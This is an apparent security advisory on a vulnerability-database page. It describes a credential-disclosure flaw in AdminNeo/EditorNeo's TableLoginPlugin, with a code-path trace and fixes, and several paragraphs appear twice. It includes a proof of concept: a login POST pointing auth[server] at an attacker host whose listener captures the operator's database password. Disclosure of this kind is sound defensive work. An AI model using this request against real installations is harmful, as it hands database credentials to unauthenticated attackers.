
Cloud Vulnerability DB
Eine von der Community geführte Datenbank für Schwachstellen
TableLoginPlugin authenticates users against a users table. Its $credentials constructor argument lets the operator keep the real database username and password on the server, so end users only need their table login. This is the documented EditorNeo use case. The problem is that the plugin's getCredentials() pairs those secret credentials with SERVER, which comes straight from the request (?<driver>=<server>, filled from the auth[server] login field). In EditorNeo that field is only a hidden input.
AdminNeo opens the database connection before the plugin checks the user's table login. So an unauthenticated attacker can set auth[server] (and auth[driver]) to a host they control, and AdminNeo will send the operator's database username and password there:
http://user:pass@attacker:port/, and PHP's http wrapper sends them as an Authorization: Basic header. Any HTTP listener captures them in plaintext.pg_connect("host=<attacker> user='…' password='…'"). A rogue server that sends AuthenticationCleartextPassword gets the password in plaintext, because libpq allows this by default.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nadminneo-org/adminneo (composer) v5.8.0, tag v5.8.0, commit dfc621f837fc1c7929f3a825cb2ff16f1f47abe8. plugins/TableLoginPlugin.php on main is unchanged as of 2026-10-01. Both AdminNeo and EditorNeo are affected.TableLoginPlugin authenticates users against a users table. Its $credentials constructor argument lets the operator keep the real database username and password on the server, so end users only need their table login. This is the documented EditorNeo use case. The problem is that the plugin's getCredentials() pairs those secret credentials with SERVER, which comes straight from the request (?<driver>=<server>, filled from the auth[server] login field). In EditorNeo that field is only a hidden input.
AdminNeo opens the database connection before the plugin checks the user's table login. So an unauthenticated attacker can set auth[server] (and auth[driver]) to a host they control, and AdminNeo will send the operator's database username and password there:
http://user:pass@attacker:port/, and PHP's http wrapper sends them as an Authorization: Basic header. Any HTTP listener captures them in plaintext.pg_connect("host=<attacker> user='…' password='…'"). A rogue server that sends AuthenticationCleartextPassword gets the password in plaintext, because libpq allows this by default.admin/include/auth.inc.php:208. $server = $auth["server"] comes from unauthenticated POST auth[server], and line 211 sets $driver = $auth["driver"] when no servers config matches. In EditorNeo these are only hidden inputs (editor/core/Admin.php:56-57), so the attacker can change them.admin/include/auth.inc.php:223. save_login($driver, $server, $username, $password, $db) stores the attacker's own username and password in the session. Line 239 then redirects to auth_url($driver, $server, …), i.e. ?elastic=attacker.example:8080&username=x.admin/include/bootstrap.inc.php:146. define("AdminNeo\SERVER", $_GET[DRIVER]), so SERVER is the attacker's host.admin/include/auth.inc.php:362. validate_server_input() only checks syntax. It allows http/https, a host with no path, and any port from 1024 to 65535. It does not limit the host to the operator's server.admin/include/auth.inc.php:367 → connect_to_db() (:157-163). The hasServers() allow-list at line 159 applies only when the operator set a servers config. Then connect(true, $error) runs. This happens before authenticate() at line 368.admin/drivers/elastic.inc.php:418 (and likewise clickhouse.inc.php:372, pgsql.inc.php:725). [$server, $username, $password] = Admin::get()->getCredentials().admin/core/Pluginer.php:76-92. Plugins are called before the core Admin object, and the first non-null result wins.plugins/TableLoginPlugin.php:56-58. return array_merge([SERVER], $this->credentials); returns [attacker host, operator DB user, operator DB password].admin/core/Connection.php:77-91. openPasswordless() first calls open() with an empty password. When that fails (the attacker's endpoint isn't Elasticsearch), it calls open($server, $username, $password) with the real password.admin/drivers/elastic.inc.php:109. build_http_url($server, $username, $password, …) builds http://<urlencoded user>:<urlencoded pass>@attacker.example:8080 (auth.inc.php:85). Line 46: get_url() / file_get_contents connects to the attacker and sends Authorization: Basic base64(user:pass).pgsql.inc.php:40-49. host_port($server) feeds "host=$host port=$port user='…' password='…'" into pg_connect().validate_server_input() (auth.inc.php:18-60) checks only URL syntax, scheme, and the privileged-port range. It has no notion of an "allowed server".connect_to_db()'s hasServers() check, which applies only when a servers config is present. TableLoginPlugin ignores the servers mapping anyway: it returns the raw SERVER key, not $server->getServer(), so the plugin effectively expects a server-less config. defaultServer only works together with servers (Config.php:153-161), so the typical EditorNeo + TableLoginPlugin setup (new TableLoginPlugin("db", "users", ["dbuser", "dbpass"]) with no servers key) has no allow-list.TableLoginPlugin::authenticate() runs only after the connection is made, so the credentials have already been sent.X-elastic-product check on the response. That does not stop the request, or its Authorization header, from going out.TableLoginPlugin with non-empty $credentials, which is the plugin's documented purpose, and has no servers config.allow_url_fopen) or pgsql.The database username and password that the operator deliberately kept on the server, so that table-authenticated end users never see them, are disclosed to an unauthenticated remote attacker. That crosses the boundary from an anonymous web visitor to full database credentials, which the attacker can use directly against the database or any service that reuses them.
TableLoginPlugin::getCredentials() should not combine stored credentials with a request-supplied server. Add a required $server constructor parameter and return [$this->server, ...$this->credentials]. Alternatively, return stored credentials only when SERVER matches a configured server, and then use $server->getServer(). Also reject DRIVER values other than the configured default driver.getCredentials() that differs from get_password()) unless SERVER matches the operator's default or configured server.plugins => [new TableLoginPlugin("app", "users", ["dbuser", "S3cret!"])], no servers. On the attacker host, run any HTTP listener that logs request headers and answers each request with HTTP/1.1 401 (a bare nc would stall the first, password-less probe until the socket timeout), then:
POST / auth[driver]=elastic&auth[server]=attacker:8080&auth[username]=x&auth[password]=y&auth[db]=. Follow the redirect. The second request carries Authorization: Basic ZGJ1c2VyOlMzY3JldCE=.Please publish this as a GitHub Security Advisory and request a CVE (GitHub can assign one as a CNA). Please credit Artur Chlebicki (GitHub: @Artur12555) as the reporter/discoverer. I'm happy to verify a fix or provide any further detail. Thank you! Credit: @Artur12555.
admin/include/auth.inc.php:208. $server = $auth["server"] comes from unauthenticated POST auth[server], and line 211 sets $driver = $auth["driver"] when no servers config matches. In EditorNeo these are only hidden inputs (editor/core/Admin.php:56-57), so the attacker can change them.admin/include/auth.inc.php:223. save_login($driver, $server, $username, $password, $db) stores the attacker's own username and password in the session. Line 239 then redirects to auth_url($driver, $server, …), i.e. ?elastic=attacker.example:8080&username=x.admin/include/bootstrap.inc.php:146. define("AdminNeo\SERVER", $_GET[DRIVER]), so SERVER is the attacker's host.admin/include/auth.inc.php:362. validate_server_input() only checks syntax. It allows http/https, a host with no path, and any port from 1024 to 65535. It does not limit the host to the operator's server.admin/include/auth.inc.php:367 → connect_to_db() (:157-163). The hasServers() allow-list at line 159 applies only when the operator set a servers config. Then connect(true, $error) runs. This happens before authenticate() at line 368.admin/drivers/elastic.inc.php:418 (and likewise clickhouse.inc.php:372, pgsql.inc.php:725). [$server, $username, $password] = Admin::get()->getCredentials().admin/core/Pluginer.php:76-92. Plugins are called before the core Admin object, and the first non-null result wins.plugins/TableLoginPlugin.php:56-58. return array_merge([SERVER], $this->credentials); returns [attacker host, operator DB user, operator DB password].admin/core/Connection.php:77-91. openPasswordless() first calls open() with an empty password. When that fails (the attacker's endpoint isn't Elasticsearch), it calls open($server, $username, $password) with the real password.admin/drivers/elastic.inc.php:109. build_http_url($server, $username, $password, …) builds http://<urlencoded user>:<urlencoded pass>@attacker.example:8080 (auth.inc.php:85). Line 46: get_url() / file_get_contents connects to the attacker and sends Authorization: Basic base64(user:pass).pgsql.inc.php:40-49. host_port($server) feeds "host=$host port=$port user='…' password='…'" into pg_connect().The database username and password that the operator deliberately kept on the server, so that table-authenticated end users never see them, are disclosed to an unauthenticated remote attacker. That crosses the boundary from an anonymous web visitor to full database credentials, which the attacker can use directly against the database or any service that reuses them.
Quelle: NVD
Kostenlose Verwundbarkeitsbewertung
Bewerten Sie Ihre Cloudsicherheitspraktiken in 9 Sicherheitsbereichen, um Ihr Risikoniveau zu bewerten und Schwachstellen in Ihren Verteidigungen zu identifizieren.
Eine personalisierte Demo anfordern
"Die beste Benutzererfahrung, die ich je gesehen habe, bietet vollständige Transparenz für Cloud-Workloads."
"„Wiz bietet eine zentrale Oberfläche, um zu sehen, was in unseren Cloud-Umgebungen vor sich geht.“ "
"„Wir wissen, dass, wenn Wiz etwas als kritisch identifiziert, es auch wirklich kritisch ist.“"